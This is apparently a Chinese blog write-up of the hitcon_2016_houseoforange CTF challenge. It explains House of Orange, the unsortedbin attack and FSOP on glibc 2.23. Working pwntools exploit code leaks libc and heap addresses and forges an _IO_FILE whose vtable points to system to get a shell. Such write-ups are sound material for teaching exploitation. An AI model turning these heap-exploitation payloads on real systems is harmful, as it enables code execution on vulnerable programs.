House of orange & Unsortedbin Attack & FSOP

4 篇文章 0 订阅

参考 https://www.cnblogs.com/ZIKH26/articles/16712469.html

例题:hitcon_2016_houseoforange

在这里插入图片描述
main函数:
没有free堆块的函数
在这里插入图片描述
add函数:
由两个malloc和一个calloc组成,第一个malloc和calloc的chunk大小均为0x20,第二个malloc的chunk大小可根据用户输入指定大小

在这里插入图片描述
edit函数:
在更改name时,可指定length,存在堆溢出。
在这里插入图片描述
在这里插入图片描述
show函数:
调用printf进行输出,需要注意"\x00"截断问题。
在这里插入图片描述

思路 libc2.23

由于题目不存在free函数,因此需要借助 house of orange 来产生unsorted bin的堆块,
利用 show函数 打印unsorted bin堆块的内容,获取libc和堆地址
修改chunk的bk指针为_IO_list_all-0x10,利用 unsorted bin attack 将 main_arena+88 写入 _IO_list_all ,
伪造_IO_list_all中的内容,修改vtable->_IO_file_overflow为system函数,根据下面函数调用链调用函数
__libc_malloc->malloc_printerr->libc_message->abort->_IO_flush_all_lockp

leak 地址

houseoforange 释放top chunk 进入 unsortedbin

add(0x10,b"a")
edit(0x40,b"b"*0x18+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0xfa1))
add(0x1000,b"c"*8)

首先malloc堆块,然后利用堆溢出修改top chunk的size字段,最后malloc一个比top chunk size大的堆块,即可将top chunk 释放到unsorted bin中
在这里插入图片描述

    add(0x400,b"d"*0x8)# 防止printf遇到 "\x00" 停止打印
    show()
    leak_libc = get_addr_64()
    lg("leak_libc",leak_libc)
    # db()
    libc_base = leak_libc - 0x3c5188
    lg("libc_base",libc_base)
    io_list_all=libc_base+libc.symbols['_IO_list_all']
    sys_addr=libc_base+libc.symbols['system']
    edit(0x20,'e'*0x10)# 将fd bk指针覆盖,防止printf遇到 "\x00" 停止打印
    show()
    leak_heap = u64(rcu(b"\x0a")[-7:-1].ljust(8,b"\x00"))
    # .recvuntil('e'*0x10)
    # leak_heap=u64(p.recv(6).ljust(8,b'\x00'))
    lg("leak_heap",leak_heap)

add(0x400,b"d"*0x8)这行代码很重要,
分配堆块时程序遍历unsorted bin,未找到符合要求的chunk,会将 old top chunk 放入largebin中,此时该chunk中存在fd bk fd_nextsize bk_nextsize指针,然后程序遍历largebin,切割 0x410 大小的chunk 作为分配堆块,该chunk中残留 fd bk fd_nextsize bk_nextsize,可泄露地址。
在这里插入图片描述
同时由于64位地址前两个字节为0,printf输出会截断,因此第一次覆盖fd,只能打印 bk,获取libc地址
第二次需要将fd和bk均覆盖,才能打印 fd_nextsize,获取堆地址

unsorted bin attack

利用堆溢出修改 top chunk 的内容,修改bk指针为_IO_list_all-0x10

	payload=b'f'*0x400
    payload+=p64(0)+p64(0x21)
    payload+=p64(0)+p64(0) # 填充 old topchunk 前的内容
    payload+=b'/bin/sh\x00'+p64(0x61) #old top chunk prev_size & size 同时也是fake file的_flags字段
    payload+=p64(0)+p64(io_list_all-0x10) #old top chunk fd & bk

FSOP

链表头_IO_list_all指向main_arena+88,查看此时_IO_list_all结构体的内容
在这里插入图片描述
在这里插入图片描述
查看 _chain字段的地址,是smallbin中size为0x60的数组的位置,该字段链接IO_FILE结构体
如果有smallbin中大小为0x60的堆块,那么修改该堆块的内容即可伪造IO_FILE结构体(第二个IO_FILE)

让smallbin中出现一个0x60的堆块的方法是提前用edit函数来篡改位于unsorted bin中堆块的size,然后再次调用malloc函数的时候会去遍历各个bins,遍历unsorted bin的时候会将该bins的堆块进行分类(放入small bin或者large bin中)
因此篡改size为0x60,所以该堆块便会进入small bin中size为0x60的链表中。再次分配出来时,即可控制第二个IO_FILE结构体
在这里插入图片描述
成功将 _chain字段修改为smallbin 0x60的堆块地址,即我们可以控制第二个_IO_FILE结构体的内容
接下来进行FSOP伪造_IO_FILE,
规则:mode=0,_IO_write_ptr=1,_IO_write_base=0,绕过if判断
同时还要将_flags字段写入/bin/sh,因为_IO_OVERFLOW第一个参数是 _IO_FILE指针

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

还需要修改vtable中_IO_OVERFLOW指针为system函数地址

    payload=b'f'*0x400
    payload+=p64(0)+p64(0x21)
    payload+=p64(0)+p64(0)
    payload+=b'/bin/sh\x00'+p64(0x61) #old top chunk prev_size & size 同时也是fake file的_flags字段
    payload+=p64(0)+p64(io_list_all-0x10) #old top chunk fd & bk
    payload+=p64(0)+p64(1)#_IO_write_base & _IO_write_ptr
    payload+=p64(0)*7
    payload+=p64(leak_heap+0x430)#chain
    payload+=p64(0)*13
    payload+=p64(leak_heap+0x508)#vtable
    payload+=p64(0)+p64(0)+p64(sys_addr)#DUMMY finish overflow

在这里插入图片描述
在这里插入图片描述

FSOP的成功率只有1/2?

由于触发了_IO_flush_all_lockp函数,会根据_IO_list_all和chain字段来去依次遍历链表上的每个结构体,在我们整体布局完成后,第一个结构体就是从main_arena+88开始。而第一个结构体的mode字段是main_arena+88+0xc0处的数据决定的。mode字段是四字节

而上面这个地址由于libc地址随机化
导致这个值的补码可能是正也可能是负,也就是说这四个字节可能是0到0xffffffff之间的任意值,但是如果大于0x7fffffff的话该值就为负,小于则为正。这个0xffffffff/2的值
正好就是最大的正值为0x7fffffff 所以刚好_mode字段为负的概率是1/2

那为啥非要这个mode字段为负才行呢?

因为倘若mode为正,则上面if检查的这部分fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr

fp->_wide_data->_IO_write_base 就会成立。这样就会触发_IO_OVERFLOW函数(可此时在遍历第一个IO_FILE结构体),但是我们的布局是在第二个IO_FILE结构体上,我们需要的是遍历到第二个IO_FILE结构体的时候触发
IO_OVERFLOW函数。如果遍历第一个结构体时触发了_IO_OVERFLOW函数,程序则会崩溃,因为我们无法控制vtable表项

攻击

由于FSOP的成功率只有1/2,多次尝试即可
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值